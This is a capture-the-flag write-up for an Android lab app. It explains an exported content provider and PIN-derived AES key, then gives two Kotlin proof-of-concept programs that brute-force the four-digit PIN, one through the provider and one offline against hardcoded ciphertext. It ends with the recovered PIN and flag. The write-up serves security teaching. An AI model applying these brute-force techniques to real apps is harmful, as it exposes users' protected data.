Objective
Retrieve a PIN code from a secured content provider in an Android application.
Secure Notes Lab ๐ : https://www.mobilehackinglab.com/course/lab-secure-notes
Secure Note Application
The Secure Note application asks for a PIN. Submitting an invalid PIN results in the message [ERROR: Incorrect PIN]
.
Source Code Analysis
Android Manifest
Analysing the AndroidManifest.xml
, we can see that the application exports a content provider and the MainActivity
.
<provider android:name="com.mobilehackinglab.securenotes.SecretDataProvider" android:enabled="true" android:exported="true" android:authorities="com.mobilehackinglab.securenotes.secretprovider"/>
<activity android:name="com.mobilehackinglab.securenotes.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
The exported content provider can be queried by thrid party applications using the following content URI:
content://com.mobilehackinglab.securenotes.secretprovider
Inspecting the MainActivity
Inside the onCreate()
method, we can see that the application sets up an on click listener for the submit pin button. The onclick listener function takes the PIN entered and invokes the fuction querySecretProvider(enteredPin)
with PIN as the argument.
The querySecretProvider(enteredPin)
function does the following:
- Queries the following content provider with selection set as
pin=<USER_ENTERED_PIN>
.content://com.mobilehackinglab.securenotes.secretprovider
- Then reads the text present in the column
Secret
.
Inspecting the SecretDataProvider Content Provider
The SecretDataProvider
content provider is defined in the class com.mobilehackinglab.securenotes.SecretDataProvider
.
Inside the onCreate
method of the content provider class, the following are implemented.
- Reads the
config.properties
file which is stored inside the application assets. - The base64 encoded values read from the above file are decoded and respective class variables
encryptedSecret
,salt
,iv
are initialized. TheiterationCount
variable is also initialized with the value from theconfig.properties
.
The function we are interested in is the Content Provider query
function which is responsible to handle the query requests.
Inside the content provider query function, the following is implemented.
- Ensures that the
selection
argument is not null and that it starts with the stringpin=
. - Removes the string
pin=
from the selection argument and the remaining string is formatted as a 4 digit PIN. - Calls the function
decryptSecret()
with the PIN obtained from previous step as the argument. - If the above function returns a non empty string, a column with name
Secret
is created and the value returned by the previous step is added as a row.
A successful query to the content provider would return Secret
.
The Decryption Logic
The decryptSecret()
function implements AES encryption. The important detail is that the PIN is used as the decryption key.
To summarise:
- The
config.properties
file has theencryptedSecret
,salt
,iv
anditerationCount
. - User submitted PIN is used as the decryption key.
Solution 1 - PIN Brute Force via the Content Provider
As the content provider is exported, we can query it with different PIN values set as the selection argument until we find the clear text secret. We can try the PIN from 0000 - 9999
.
The following code snippet does the exactly that.
fun readContentProvider(){
var contentUri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider")
var selection : String
var idx : Int
var ret : String
for (i in 0..9999){
selection = String.format("pin=%04d",i)
val cursor = contentResolver.query(contentUri, null, selection, null, null)
cursor?.use {
while (it.moveToNext()) {
idx = cursor.getColumnIndex("Secret")
ret = cursor.getString(idx)
println("PIN : $i, Secret: $ret")
}
}
}
}
It takes a few minutes, however the correct PIN is found 2580
.
Solution 2 - Offline PIN Bruteforce against Hardcoded encryptedSecret
The config.properties
file in the application assets contains all the detailes required to perform the decryption except the PIN. Similar to what we did in solution 1, we can repeatedly call the decryption function for different PIN values.
package com.rizaru.mobilehackinglab_securenote_poc
import android.net.Uri
import android.os.Build
import android.os.Bundle
import androidx.annotation.RequiresApi
import androidx.appcompat.app.AppCompatActivity
import java.util.Base64
import javax.crypto.Cipher
import javax.crypto.SecretKeyFactory
import javax.crypto.spec.IvParameterSpec
import javax.crypto.spec.PBEKeySpec
import javax.crypto.spec.SecretKeySpec
import kotlin.text.Charsets.UTF_8
class MainActivity : AppCompatActivity() {
@RequiresApi(Build.VERSION_CODES.O)
var encryptedSecret : ByteArray? = Base64.getDecoder().decode("bTjBHijMAVQX+CoyFbDPJXRUSHcTyzGaie3OgVqvK5w=")
@RequiresApi(Build.VERSION_CODES.O)
var salt : ByteArray? = Base64.getDecoder().decode("m2UvPXkvte7fygEeMr0WUg==")
@RequiresApi(Build.VERSION_CODES.O)
var iv : ByteArray? = Base64.getDecoder().decode("L15Je6YfY5owgIckR9R3DQ==")
var iterationCount : Int = 10000
@RequiresApi(Build.VERSION_CODES.O)
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
sploit()
}
@RequiresApi(Build.VERSION_CODES.O)
fun sploit(){
var pin : String
var secret: String?
for (i in 0..9999){
try {
pin = String.format("%04d",i)
secret = decryptSecret(pin)
if( secret != null){
println("Valid PIN: $pin, Secret : $secret")
}
} catch (e: java.lang.Exception){
null
}
}
//readContentProvider()
}
fun readContentProvider(){
var contentUri = Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider")
var selection : String
var idx : Int
var ret : String
for (i in 0..9999){
selection = String.format("pin=%04d",i)
val cursor = contentResolver.query(contentUri, null, selection, null, null)
cursor?.use {
while (it.moveToNext()) {
idx = cursor.getColumnIndex("Secret")
ret = cursor.getString(idx)
println("PIN : $i, Secret: $ret")
}
}
}
}
@RequiresApi(Build.VERSION_CODES.O)
private fun decryptSecret(pin: String): String? {
return try {
val cipher: Cipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
val secretKeySpec = SecretKeySpec(generateKeyFromPin(pin), "AES")
var bArr: ByteArray? = this.iv
val ivParameterSpec = IvParameterSpec(bArr)
cipher.init(2, secretKeySpec, ivParameterSpec)
var bArr2: ByteArray? = this.encryptedSecret
val decryptedBytes: ByteArray = cipher.doFinal(bArr2)
String(decryptedBytes, UTF_8)
} catch (e: Exception) {
null
}
}
@RequiresApi(Build.VERSION_CODES.O)
private fun generateKeyFromPin(pin: String): ByteArray {
val charArray = pin.toCharArray()
var bArr: ByteArray? = this.salt
val keySpec = PBEKeySpec(charArray, bArr, this.iterationCount, 256)
val keyFactory: SecretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1")
return keyFactory.generateSecret(keySpec).getEncoded()
}
}
2023-12-22 11:31:43.748 19958-19958 System.out com...bilehackinglab_securenote_poc I Valid PIN: 2580, Secret : CTF{D1d_y0u_gu3ss_1t!1?}
Completion Certificate